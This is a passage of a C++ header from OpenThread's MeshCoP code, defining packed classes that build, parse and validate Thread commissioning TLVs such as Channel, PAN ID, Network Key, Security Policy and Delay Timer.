#include "net/ip6_address.hpp"
#include "radio/radio.hpp"
#include "thread/key_manager.hpp"
#include "thread/mle_types.hpp"
namespace ot {
namespace MeshCoP {
using ot::Encoding::BigEndian::HostSwap16;
using ot::Encoding::BigEndian::HostSwap32;
using ot::Encoding::BigEndian::ReadUint24;
using ot::Encoding::BigEndian::WriteUint24;
/**
* This class implements MeshCoP TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class Tlv : public ot::Tlv
{
public:
/**
* MeshCoP TLV Types.
*
*/
enum Type : uint8_t
{
kChannel = OT_MESHCOP_TLV_CHANNEL, ///< Channel TLV
kPanId = OT_MESHCOP_TLV_PANID, ///< PAN ID TLV
kExtendedPanId = OT_MESHCOP_TLV_EXTPANID, ///< Extended PAN ID TLV
kNetworkName = OT_MESHCOP_TLV_NETWORKNAME, ///< Network Name TLV
kPskc = OT_MESHCOP_TLV_PSKC, ///< PSKc TLV
kNetworkKey = OT_MESHCOP_TLV_NETWORKKEY, ///< Network Network Key TLV
kNetworkKeySequence = OT_MESHCOP_TLV_NETWORK_KEY_SEQUENCE, ///< Network Key Sequence TLV
kMeshLocalPrefix = OT_MESHCOP_TLV_MESHLOCALPREFIX, ///< Mesh Local Prefix TLV
kSteeringData = OT_MESHCOP_TLV_STEERING_DATA, ///< Steering Data TLV
kBorderAgentLocator = OT_MESHCOP_TLV_BORDER_AGENT_RLOC, ///< Border Agent Locator TLV
kCommissionerId = OT_MESHCOP_TLV_COMMISSIONER_ID, ///< Commissioner ID TLV
kCommissionerSessionId = OT_MESHCOP_TLV_COMM_SESSION_ID, ///< Commissioner Session ID TLV
kSecurityPolicy = OT_MESHCOP_TLV_SECURITYPOLICY, ///< Security Policy TLV
kGet = OT_MESHCOP_TLV_GET, ///< Get TLV
kActiveTimestamp = OT_MESHCOP_TLV_ACTIVETIMESTAMP, ///< Active Timestamp TLV
kCommissionerUdpPort = OT_MESHCOP_TLV_COMMISSIONER_UDP_PORT, ///< Commissioner UDP Port TLV
kState = OT_MESHCOP_TLV_STATE, ///< State TLV
kJoinerDtlsEncapsulation = OT_MESHCOP_TLV_JOINER_DTLS, ///< Joiner DTLS Encapsulation TLV
kJoinerUdpPort = OT_MESHCOP_TLV_JOINER_UDP_PORT, ///< Joiner UDP Port TLV
kJoinerIid = OT_MESHCOP_TLV_JOINER_IID, ///< Joiner IID TLV
kJoinerRouterLocator = OT_MESHCOP_TLV_JOINER_RLOC, ///< Joiner Router Locator TLV
kJoinerRouterKek = OT_MESHCOP_TLV_JOINER_ROUTER_KEK, ///< Joiner Router KEK TLV
kProvisioningUrl = OT_MESHCOP_TLV_PROVISIONING_URL, ///< Provisioning URL TLV
kVendorName = OT_MESHCOP_TLV_VENDOR_NAME_TLV, ///< meshcop Vendor Name TLV
kVendorModel = OT_MESHCOP_TLV_VENDOR_MODEL_TLV, ///< meshcop Vendor Model TLV
kVendorSwVersion = OT_MESHCOP_TLV_VENDOR_SW_VERSION_TLV, ///< meshcop Vendor SW Version TLV
kVendorData = OT_MESHCOP_TLV_VENDOR_DATA_TLV, ///< meshcop Vendor Data TLV
kVendorStackVersion = OT_MESHCOP_TLV_VENDOR_STACK_VERSION_TLV, ///< meshcop Vendor Stack Version TLV
kUdpEncapsulation = OT_MESHCOP_TLV_UDP_ENCAPSULATION_TLV, ///< meshcop UDP encapsulation TLV
kIp6Address = OT_MESHCOP_TLV_IPV6_ADDRESS_TLV, ///< meshcop IPv6 address TLV
kPendingTimestamp = OT_MESHCOP_TLV_PENDINGTIMESTAMP, ///< Pending Timestamp TLV
kDelayTimer = OT_MESHCOP_TLV_DELAYTIMER, ///< Delay Timer TLV
kChannelMask = OT_MESHCOP_TLV_CHANNELMASK, ///< Channel Mask TLV
kCount = OT_MESHCOP_TLV_COUNT, ///< Count TLV
kPeriod = OT_MESHCOP_TLV_PERIOD, ///< Period TLV
kScanDuration = OT_MESHCOP_TLV_SCAN_DURATION, ///< Scan Duration TLV
kEnergyList = OT_MESHCOP_TLV_ENERGY_LIST, ///< Energy List TLV
kDiscoveryRequest = OT_MESHCOP_TLV_DISCOVERYREQUEST, ///< Discovery Request TLV
kDiscoveryResponse = OT_MESHCOP_TLV_DISCOVERYRESPONSE, ///< Discovery Response TLV
kJoinerAdvertisement = OT_MESHCOP_TLV_JOINERADVERTISEMENT, ///< Joiner Advertisement TLV
};
/**
* This method returns the Type value.
*
* @returns The Type value.
*
*/
Type GetType(void) const { return static_cast<Type>(ot::Tlv::GetType()); }
/**
* This method sets the Type value.
*
* @param[in] aType The Type value.
*
*/
void SetType(Type aType) { ot::Tlv::SetType(static_cast<uint8_t>(aType)); }
/**
* This method returns a pointer to the next TLV.
*
* @returns A pointer to the next TLV.
*
*/
Tlv *GetNext(void) { return As<Tlv>(ot::Tlv::GetNext()); }
/**
* This method returns a pointer to the next TLV.
*
* @returns A pointer to the next TLV.
*
*/
const Tlv *GetNext(void) const { return As<Tlv>(ot::Tlv::GetNext()); }
/**
* This static method reads the requested TLV out of @p aMessage.
*
* @param[in] aMessage A reference to the message.
* @param[in] aType The Type value to search for.
* @param[in] aMaxLength Maximum number of bytes to read.
* @param[out] aTlv A reference to the TLV that will be copied to.
*
* @retval kErrorNone Successfully copied the TLV.
* @retval kErrorNotFound Could not find the TLV with Type @p aType.
*
*/
static Error FindTlv(const Message &aMessage, Type aType, uint16_t aMaxLength, Tlv &aTlv)
{
return ot::Tlv::FindTlv(aMessage, static_cast<uint8_t>(aType), aMaxLength, aTlv);
}
/**
* This static method reads the requested TLV out of @p aMessage.
*
* This method can be used independent of whether the read TLV (from message) is an Extended TLV or not.
*
* @tparam TlvType The TlvType to search for (must be a sub-class of `Tlv`).
*
* @param[in] aMessage A reference to the message.
* @param[out] aTlv A reference to the TLV that will be copied to.
*
* @retval kErrorNone Successfully copied the TLV.
* @retval kErrorNotFound Could not find the TLV with Type @p aType.
*
*/
template <typename TlvType> static Error FindTlv(const Message &aMessage, TlvType &aTlv)
{
return ot::Tlv::FindTlv(aMessage, aTlv);
}
/**
* This static method indicates whether a TLV appears to be well-formed.
*
* @param[in] aTlv A reference to the TLV.
*
* @returns TRUE if the TLV appears to be well-formed, FALSE otherwise.
*
*/
static bool IsValid(const Tlv &aTlv);
/**
* This static method searches in a given sequence of TLVs to find the first TLV with a given template Type.
*
* @param[in] aTlvsStart A pointer to the start of the sequence of TLVs to search within.
* @param[in] aTlvsLength The length (number of bytes) in TLV sequence.
* @param[in] aType The TLV Type to search for.
*
* @returns A pointer to the TLV if found, or `nullptr` if not found.
*
*/
static Tlv *FindTlv(uint8_t *aTlvsStart, uint16_t aTlvsLength, Type aType)
{
return AsNonConst(FindTlv(AsConst(aTlvsStart), aTlvsLength, aType));
}
/**
* This static method searches in a given sequence of TLVs to find the first TLV with a given template Type.
*
* @param[in] aTlvsStart A pointer to the start of the sequence of TLVs to search within.
* @param[in] aTlvsLength The length (number of bytes) in TLV sequence.
* @param[in] aType The TLV Type to search for.
*
* @returns A pointer to the TLV if found, or `nullptr` if not found.
*
*/
static const Tlv *FindTlv(const uint8_t *aTlvsStart, uint16_t aTlvsLength, Type aType);
/**
* This static template method searches in a given sequence of TLVs to find the first TLV with a give template
* `TlvType`.
*
* @param[in] aTlvsStart A pointer to the start of the sequence of TLVs to search within.
* @param[in] aTlvsLength The length (number of bytes) in TLV sequence.
*
* @returns A pointer to the TLV if found, or `nullptr` if not found.
*
*/
template <typename TlvType> static TlvType *FindTlv(uint8_t *aTlvsStart, uint16_t aTlvsLength)
{
return As<TlvType>(FindTlv(aTlvsStart, aTlvsLength, static_cast<Tlv::Type>(TlvType::kType)));
}
/**
* This static template method searches in a given sequence of TLVs to find the first TLV with a give template
* `TlvType`.
*
* @param[in] aTlvsStart A pointer to the start of the sequence of TLVs to search within.
* @param[in] aTlvsLength The length (number of bytes) in TLV sequence.
*
* @returns A pointer to the TLV if found, or `nullptr` if not found.
*
*/
template <typename TlvType> static const TlvType *FindTlv(const uint8_t *aTlvsStart, uint16_t aTlvsLength)
{
return As<TlvType>(FindTlv(aTlvsStart, aTlvsLength, static_cast<Tlv::Type>(TlvType::kType)));
}
} OT_TOOL_PACKED_END;
/**
* This class implements extended MeshCoP TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ExtendedTlv : public ot::ExtendedTlv
{
public:
/**
* This method returns the Type value.
*
* @returns The Type value.
*
*/
MeshCoP::Tlv::Type GetType(void) const { return static_cast<MeshCoP::Tlv::Type>(ot::ExtendedTlv::GetType()); }
/**
* This method sets the Type value.
*
* @param[in] aType The Type value.
*
*/
void SetType(MeshCoP::Tlv::Type aType) { ot::ExtendedTlv::SetType(static_cast<uint8_t>(aType)); }
} OT_TOOL_PACKED_END;
/**
* This class defines Commissioner UDP Port TLV constants and types.
*
*/
typedef UintTlvInfo<Tlv::kCommissionerUdpPort, uint16_t> CommissionerUdpPortTlv;
/**
* This class defines IPv6 Address TLV constants and types.
*
*/
typedef SimpleTlvInfo<Tlv::kIp6Address, Ip6::Address> Ip6AddressTlv;
/**
* This class defines Joiner IID TLV constants and types.
*
*/
typedef SimpleTlvInfo<Tlv::kJoinerIid, Ip6::InterfaceIdentifier> JoinerIidTlv;
/**
* This class defines Joiner Router Locator TLV constants and types.
*
*/
typedef UintTlvInfo<Tlv::kJoinerRouterLocator, uint16_t> JoinerRouterLocatorTlv;
/**
* This class defines Joiner Router KEK TLV constants and types.
*
*/
typedef SimpleTlvInfo<Tlv::kJoinerRouterKek, Kek> JoinerRouterKekTlv;
/**
* This class defines Count TLV constants and types.
*
*/
typedef UintTlvInfo<Tlv::kCount, uint8_t> CountTlv;
/**
* This class defines Period TLV constants and types.
*
*/
typedef UintTlvInfo<Tlv::kPeriod, uint16_t> PeriodTlv;
/**
* This class defines Scan Duration TLV constants and types.
*
*/
typedef UintTlvInfo<Tlv::kScanDuration, uint16_t> ScanDurationTlv;
/**
* This class implements Channel TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ChannelTlv : public Tlv, public TlvInfo<Tlv::kChannel>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kChannel);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const;
/**
* This method returns the ChannelPage value.
*
* @returns The ChannelPage value.
*
*/
uint8_t GetChannelPage(void) const { return mChannelPage; }
/**
* This method sets the ChannelPage value.
*
* @param[in] aChannelPage The ChannelPage value.
*
*/
void SetChannelPage(uint8_t aChannelPage) { mChannelPage = aChannelPage; }
/**
* This method returns the Channel value.
*
* @returns The Channel value.
*
*/
uint16_t GetChannel(void) const { return HostSwap16(mChannel); }
/**
* This method sets the Channel value.
* Note: This method also sets the channel page according to the channel value.
*
* @param[in] aChannel The Channel value.
*
*/
void SetChannel(uint16_t aChannel);
private:
uint8_t mChannelPage;
uint16_t mChannel;
} OT_TOOL_PACKED_END;
/**
* This class implements PAN ID TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class PanIdTlv : public Tlv, public UintTlvInfo<Tlv::kPanId, uint16_t>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kPanId);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the PAN ID value.
*
* @returns The PAN ID value.
*
*/
uint16_t GetPanId(void) const { return HostSwap16(mPanId); }
/**
* This method sets the PAN ID value.
*
* @param[in] aPanId The PAN ID value.
*
*/
void SetPanId(uint16_t aPanId) { mPanId = HostSwap16(aPanId); }
private:
uint16_t mPanId;
} OT_TOOL_PACKED_END;
/**
* This class implements Extended PAN ID TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ExtendedPanIdTlv : public Tlv, public SimpleTlvInfo<Tlv::kExtendedPanId, ExtendedPanId>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kExtendedPanId);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Extended PAN ID value.
*
* @returns The Extended PAN ID value.
*
*/
const ExtendedPanId &GetExtendedPanId(void) const { return mExtendedPanId; }
/**
* This method sets the Extended PAN ID value.
*
* @param[in] aExtendedPanId An Extended PAN ID value.
*
*/
void SetExtendedPanId(const ExtendedPanId &aExtendedPanId) { mExtendedPanId = aExtendedPanId; }
private:
ExtendedPanId mExtendedPanId;
} OT_TOOL_PACKED_END;
/**
* This class implements Network Name TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class NetworkNameTlv : public Tlv, public TlvInfo<Tlv::kNetworkName>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kNetworkName);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const;
/**
* This method gets the Network Name value.
*
* @returns The Network Name value (as `NameData`).
*
*/
NameData GetNetworkName(void) const;
/**
* This method sets the Network Name value.
*
* @param[in] aNameData A Network Name value (as `NameData`).
*
*/
void SetNetworkName(const NameData &aNameData);
private:
char mNetworkName[NetworkName::kMaxSize];
} OT_TOOL_PACKED_END;
/**
* This class implements PSKc TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class PskcTlv : public Tlv, public SimpleTlvInfo<Tlv::kPskc, Pskc>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kPskc);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the PSKc value.
*
* @returns The PSKc value.
*
*/
const Pskc &GetPskc(void) const { return mPskc; }
/**
* This method sets the PSKc value.
*
* @param[in] aPskc A pointer to the PSKc value.
*
*/
void SetPskc(const Pskc &aPskc) { mPskc = aPskc; }
private:
Pskc mPskc;
} OT_TOOL_PACKED_END;
/**
* This class implements Network Network Key TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class NetworkKeyTlv : public Tlv, public SimpleTlvInfo<Tlv::kNetworkKey, NetworkKey>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kNetworkKey);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Network Network Key value.
*
* @returns The Network Network Key value.
*
*/
const NetworkKey &GetNetworkKey(void) const { return mNetworkKey; }
/**
* This method sets the Network Network Key value.
*
* @param[in] aNetworkKey The Network Network Key.
*
*/
void SetNetworkKey(const NetworkKey &aNetworkKey) { mNetworkKey = aNetworkKey; }
private:
NetworkKey mNetworkKey;
} OT_TOOL_PACKED_END;
/**
* This class implements Network Key Sequence TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class NetworkKeySequenceTlv : public Tlv, public UintTlvInfo<Tlv::kNetworkKeySequence, uint32_t>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kNetworkKeySequence);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Network Key Sequence value.
*
* @returns The Network Key Sequence value.
*
*/
uint32_t GetNetworkKeySequence(void) const { return HostSwap32(mNetworkKeySequence); }
/**
* This method sets the Network Key Sequence value.
*
* @param[in] aNetworkKeySequence The Network Key Sequence value.
*
*/
void SetNetworkKeySequence(uint32_t aNetworkKeySequence) { mNetworkKeySequence = HostSwap32(aNetworkKeySequence); }
private:
uint32_t mNetworkKeySequence;
} OT_TOOL_PACKED_END;
/**
* This class implements Mesh Local Prefix TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class MeshLocalPrefixTlv : public Tlv, public SimpleTlvInfo<Tlv::kMeshLocalPrefix, Mle::MeshLocalPrefix>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kMeshLocalPrefix);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the size (in bytes) of the Mesh Local Prefix field.
*
* @returns The size (in bytes) of the Mesh Local Prefix field (8 bytes).
*
*/
uint8_t GetMeshLocalPrefixLength(void) const { return sizeof(mMeshLocalPrefix); }
/**
* This method returns the Mesh Local Prefix value.
*
* @returns The Mesh Local Prefix value.
*
*/
const Mle::MeshLocalPrefix &GetMeshLocalPrefix(void) const { return mMeshLocalPrefix; }
/**
* This method sets the Mesh Local Prefix value.
*
* @param[in] aMeshLocalPrefix A pointer to the Mesh Local Prefix value.
*
*/
void SetMeshLocalPrefix(const Mle::MeshLocalPrefix &aMeshLocalPrefix) { mMeshLocalPrefix = aMeshLocalPrefix; }
private:
Mle::MeshLocalPrefix mMeshLocalPrefix;
} OT_TOOL_PACKED_END;
class SteeringData;
/**
* This class implements Steering Data TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class SteeringDataTlv : public Tlv, public TlvInfo<Tlv::kSteeringData>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kSteeringData);
SetLength(sizeof(*this) - sizeof(Tlv));
Clear();
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() > 0; }
/**
* This method returns the Steering Data length.
*
* @returns The Steering Data length.
*
*/
uint8_t GetSteeringDataLength(void) const
{
return GetLength() <= sizeof(mSteeringData) ? GetLength() : sizeof(mSteeringData);
}
/**
* This method sets all bits in the Bloom Filter to zero.
*
*/
void Clear(void) { memset(mSteeringData, 0, GetSteeringDataLength()); }
/**
* This method copies the Steering Data from the TLV into a given `SteeringData` variable.
*
* @param[out] aSteeringData A reference to a `SteeringData` to copy into.
*
*/
void CopyTo(SteeringData &aSteeringData) const;
private:
uint8_t mSteeringData[OT_STEERING_DATA_MAX_LENGTH];
} OT_TOOL_PACKED_END;
/**
* This class implements Border Agent Locator TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class BorderAgentLocatorTlv : public Tlv, public UintTlvInfo<Tlv::kBorderAgentLocator, uint16_t>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kBorderAgentLocator);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Border Agent Locator value.
*
* @returns The Border Agent Locator value.
*
*/
uint16_t GetBorderAgentLocator(void) const { return HostSwap16(mLocator); }
/**
* This method sets the Border Agent Locator value.
*
* @param[in] aLocator The Border Agent Locator value.
*
*/
void SetBorderAgentLocator(uint16_t aLocator) { mLocator = HostSwap16(aLocator); }
private:
uint16_t mLocator;
} OT_TOOL_PACKED_END;
/**
* This class implements the Commissioner ID TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class CommissionerIdTlv : public Tlv, public TlvInfo<Tlv::kCommissionerId>
{
public:
static constexpr uint8_t kMaxLength = 64; ///< maximum length (bytes)
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kCommissionerId);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method returns the Commissioner ID length.
*
* @returns The Commissioner ID length.
*
*/
uint8_t GetCommissionerIdLength(void) const
{
return GetLength() <= sizeof(mCommissionerId) ? GetLength() : sizeof(mCommissionerId);
}
/**
* This method returns the Commissioner ID value.
*
* @returns The Commissioner ID value.
*
*/
const char *GetCommissionerId(void) const { return mCommissionerId; }
/**
* This method sets the Commissioner ID value.
*
* @param[in] aCommissionerId A pointer to the Commissioner ID value.
*
*/
void SetCommissionerId(const char *aCommissionerId)
{
uint16_t length = StringLength(aCommissionerId, sizeof(mCommissionerId));
memcpy(mCommissionerId, aCommissionerId, length);
SetLength(static_cast<uint8_t>(length));
}
private:
char mCommissionerId[kMaxLength];
} OT_TOOL_PACKED_END;
/**
* This class implements Commissioner Session ID TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class CommissionerSessionIdTlv : public Tlv, public UintTlvInfo<Tlv::kCommissionerSessionId, uint16_t>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kCommissionerSessionId);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Commissioner Session ID value.
*
* @returns The Commissioner Session ID value.
*
*/
uint16_t GetCommissionerSessionId(void) const { return HostSwap16(mSessionId); }
/**
* This method sets the Commissioner Session ID value.
*
* @param[in] aSessionId The Commissioner Session ID value.
*
*/
void SetCommissionerSessionId(uint16_t aSessionId) { mSessionId = HostSwap16(aSessionId); }
private:
uint16_t mSessionId;
} OT_TOOL_PACKED_END;
/**
* This class implements Security Policy TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class SecurityPolicyTlv : public Tlv, public TlvInfo<Tlv::kSecurityPolicy>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kSecurityPolicy);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const;
/**
* This method returns the Security Policy.
*
* @returns The Security Policy.
*
*/
SecurityPolicy GetSecurityPolicy(void) const;
/**
* This method sets the Security Policy.
*
* @param[in] aSecurityPolicy The Security Policy which will be set.
*
*/
void SetSecurityPolicy(const SecurityPolicy &aSecurityPolicy);
private:
static constexpr uint8_t kThread11FlagsLength = 1; // The Thread 1.1 Security Policy Flags length.
static constexpr uint8_t kThread12FlagsLength = 2; // The Thread 1.2 Security Policy Flags length.
void SetRotationTime(uint16_t aRotationTime) { mRotationTime = HostSwap16(aRotationTime); }
uint16_t GetRotationTime(void) const { return HostSwap16(mRotationTime); }
uint8_t GetFlagsLength(void) const { return GetLength() - sizeof(mRotationTime); }
uint16_t mRotationTime;
#if OPENTHREAD_CONFIG_THREAD_VERSION >= OT_THREAD_VERSION_1_2
uint8_t mFlags[kThread12FlagsLength];
#else
uint8_t mFlags[kThread11FlagsLength];
#endif
} OT_TOOL_PACKED_END;
/**
* This class implements Active Timestamp TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class ActiveTimestampTlv : public Tlv, public SimpleTlvInfo<Tlv::kActiveTimestamp, Timestamp>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kActiveTimestamp);
SetLength(sizeof(*this) - sizeof(Tlv));
mTimestamp.Clear();
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method gets the timestamp.
*
* @returns The timestamp.
*
*/
const Timestamp &GetTimestamp(void) const { return mTimestamp; }
/**
* This method returns a reference to the timestamp.
*
* @returns A reference to the timestamp.
*
*/
Timestamp &GetTimestamp(void) { return mTimestamp; }
/**
* This method sets the timestamp.
*
* @param[in] aTimestamp The new timestamp.
*
*/
void SetTimestamp(const Timestamp &aTimestamp) { mTimestamp = aTimestamp; }
private:
Timestamp mTimestamp;
} OT_TOOL_PACKED_END;
/**
* This class implements State TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class StateTlv : public Tlv, public UintTlvInfo<Tlv::kState, uint8_t>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kState);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* State values.
*
*/
enum State : uint8_t
{
kReject = 0xff, ///< Reject (-1)
kPending = 0, ///< Pending
kAccept = 1, ///< Accept
};
/**
* This method returns the State value.
*
* @returns The State value.
*
*/
State GetState(void) const { return static_cast<State>(mState); }
/**
* This method sets the State value.
*
* @param[in] aState The State value.
*
*/
void SetState(State aState) { mState = static_cast<uint8_t>(aState); }
private:
uint8_t mState;
} OT_TOOL_PACKED_END;
/**
* This class implements Joiner UDP Port TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class JoinerUdpPortTlv : public Tlv, public UintTlvInfo<Tlv::kJoinerUdpPort, uint16_t>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kJoinerUdpPort);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the UDP Port value.
*
* @returns The UDP Port value.
*
*/
uint16_t GetUdpPort(void) const { return HostSwap16(mUdpPort); }
/**
* This method sets the UDP Port value.
*
* @param[in] aUdpPort The UDP Port value.
*
*/
void SetUdpPort(uint16_t aUdpPort) { mUdpPort = HostSwap16(aUdpPort); }
private:
uint16_t mUdpPort;
} OT_TOOL_PACKED_END;
/**
* This class implements Pending Timestamp TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class PendingTimestampTlv : public Tlv, public SimpleTlvInfo<Tlv::kPendingTimestamp, Timestamp>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kPendingTimestamp);
SetLength(sizeof(*this) - sizeof(Tlv));
mTimestamp.Clear();
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method gets the timestamp.
*
* @returns The timestamp.
*
*/
const Timestamp &GetTimestamp(void) const { return mTimestamp; }
/**
* This method returns a reference to the timestamp.
*
* @returns A reference to the timestamp.
*
*/
Timestamp &GetTimestamp(void) { return mTimestamp; }
/**
* This method sets the timestamp.
*
* @param[in] aTimestamp The new timestamp.
*
*/
void SetTimestamp(const Timestamp &aTimestamp) { mTimestamp = aTimestamp; }
private:
Timestamp mTimestamp;
} OT_TOOL_PACKED_END;
/**
* This class implements Delay Timer TLV generation and parsing.
*
*/
OT_TOOL_PACKED_BEGIN
class DelayTimerTlv : public Tlv, public UintTlvInfo<Tlv::kDelayTimer, uint32_t>
{
public:
/**
* This method initializes the TLV.
*
*/
void Init(void)
{
SetType(kDelayTimer);
SetLength(sizeof(*this) - sizeof(Tlv));
}
/**
* This method indicates whether or not the TLV appears to be well-formed.
*
* @retval TRUE If the TLV appears to be well-formed.
* @retval FALSE If the TLV does not appear to be well-formed.
*
*/
bool IsValid(void) const { return GetLength() >= sizeof(*this) - sizeof(Tlv); }
/**
* This method returns the Delay Timer value.
*
* @returns The Delay Timer value.
*
*/
uint32_t GetDelayTimer(void) const { return HostSwap32(mDelayTimer); }
/**
* This method sets the Delay Timer value.
*
* @param[in] aDelayTimer The Delay Timer value.
*
*/
void SetDelayTimer(uint32_t aDelayTimer) { mDelayTimer = HostSwap32(aDelayTimer); }
static constexpr uint32_t kMaxDelayTimer = 259200; ///< Maximum delay timer value for a Pending Dataset in seconds
/**
* Minimum Delay Timer value for a Pending Operational Dataset (ms)
*
*/
static constexpr uint32_t kDelayTimerMinimal = OPENTHREAD_CONFIG_TMF_PENDING_DATASET_MINIMUM_DELAY;
/**
* Default Delay Timer value for a Pending Operational Dataset (ms)
*
*/
static constexpr uint32_t kDelayTimerDefault = OPENTHREAD_CONFIG_TMF_PENDING_DATASET_DEFAULT_DELAY;
private:
uint32_t mDelayTimer;
} OT_TOOL_PACKED_END;
// forward declare ChannelMaskTlv
class ChannelMaskTlv;
/**
